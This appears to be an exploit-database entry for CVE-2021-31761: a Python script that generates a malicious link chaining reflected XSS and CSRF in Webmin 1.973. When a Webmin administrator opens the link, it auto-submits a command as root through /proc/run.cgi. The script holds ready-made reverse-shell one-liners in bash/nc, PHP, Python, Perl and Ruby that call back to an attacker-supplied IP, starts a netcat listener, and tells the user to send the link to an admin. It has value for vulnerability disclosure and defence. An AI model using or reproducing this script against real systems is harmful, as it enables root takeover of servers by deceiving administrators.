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Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF)

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# Exploit Title: Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF)
# Date: 24/04/2021
# Exploit Author: Mesh3l_911 & Z0ldyck
# Vendor Homepage: https://www.webmin.com
# Repo Link: https://github.com/Mesh3l911/CVE-2021-31761
# Version: Webmin 1.973
# Tested on: All versions <= 1.973
# CVE: CVE-2021-31761
# Description: Exploiting a Reflected Cross-Site Scripting (XSS) attack to
# get a Remote Command Execution (RCE) through the Webmin's running process
# feature

import time, subprocess,random,urllib.parse


print('''\033[1;37m

 __  __           _     ____  _          _________  _     _            _    
|  \/  |         | |   |___ \| |        |___  / _ \| |   | |          | |   
| \  / | ___  ___| |__   __) | |           / / | | | | __| |_   _  ___| | __
| |\/| |/ _ \/ __| '_ \ |__ <| |          / /| | | | |/ _` | | | |/ __| |/ /
| |  | |  __/\__ \ | | |___) | |  _ _    / /_| |_| | | (_| | |_| | (__|   < 
|_|  |_|\___||___/_| |_|____/|_| (_|_)  /_____\___/|_|\__,_|\__, |\___|_|\_/
                                                             __/ |          
                                                            |___/           

    \033[1;m''')

for i in range(101):
    print(
        "\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m )  & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m  ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(
            i), "\033[1;36m%\033[1;m", end="")
    time.sleep(0.02)
print("\n\n")

target = input(
    "\033[1;36m \n Please input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")

if target.endswith('/'):
    target = target + 'tunnel/link.cgi/'
else:
    target = target + '/tunnel/link.cgi/'

ip = input("\033[1;36m \n Please input ur IP to set up the Reverse Shell e.g. ( 10.10.10.10 ) > \033[1;m")

port = input("\033[1;36m \n Please input a Port to set up the Reverse Shell e.g. ( 1337 ) > \033[1;m")

ReverseShell = input \
('''\033[1;37m
\n
1- Bash Reverse Shell \n
2- PHP Reverse Shell \n
3- Python Reverse Shell \n
4- Perl Reverse Shell \n
5- Ruby Reverse Shell \n
\033[1;m

\033[1;36mPlease insert the number Reverse Shell's type u want e.g. ( 1 ) > \033[1;m''')

file_name = random.randrange(1000)

if ReverseShell == '1':
    ReverseShell = 'mkfifo /tmp/'+str(file_name)+'; nc '+ip+' '+port+' 0</tmp/'+str(file_name)+' | /bin/sh >/tmp/'+str(file_name)+' 2>&1; rm /tmp/'+str(file_name)+''

elif ReverseShell == '2':
    ReverseShell = ''' php -r '$sock=fsockopen("''' + ip + '''",''' + port + ''');exec("/bin/sh -i <&3 >&3 2>&3");' '''

elif ReverseShell == '3':
    ReverseShell = ''' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("''' + ip + '''",''' + port + '''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' '''

elif ReverseShell == '4':
    ReverseShell = ''' perl -e 'use Socket;$i="''' + ip + '''";$p=''' + port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' '''

elif ReverseShell == '5':
    ReverseShell = ''' ruby -rsocket -e'f=TCPSocket.open("''' + ip + '''",''' + port + ''').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' '''

else:
    print("\033[1;36m \n Please Re-Check ur input :( \033[1;m \n")


def CSRF_Generator():
    Payload = urllib.parse.quote('''

<html>
        <head>
            <meta name="referrer" content="never">
        </head>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="/proc/run.cgi" method="POST">
      <input type="hidden" name="cmd" value="''' + ReverseShell + '''" />
      <input type="hidden" name="mode" value="0" />
      <input type="hidden" name="user" value="root" />
      <input type="hidden" name="input" value="" />
      <input type="hidden" name="undefined" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>

</html>

        ''')

    print("\033[1;36m\nHere's ur link , send it to a Webmin's Admin and wait for ur Reverse Shell ^_^ \n \n\033[1;m")

    print(target+Payload)

def Netcat_listener():
    print()
    subprocess.run(["nc", "-nlvp "+port+""])


def main():
    CSRF_Generator()
    Netcat_listener()


if __name__ == '__main__':
    main()
            
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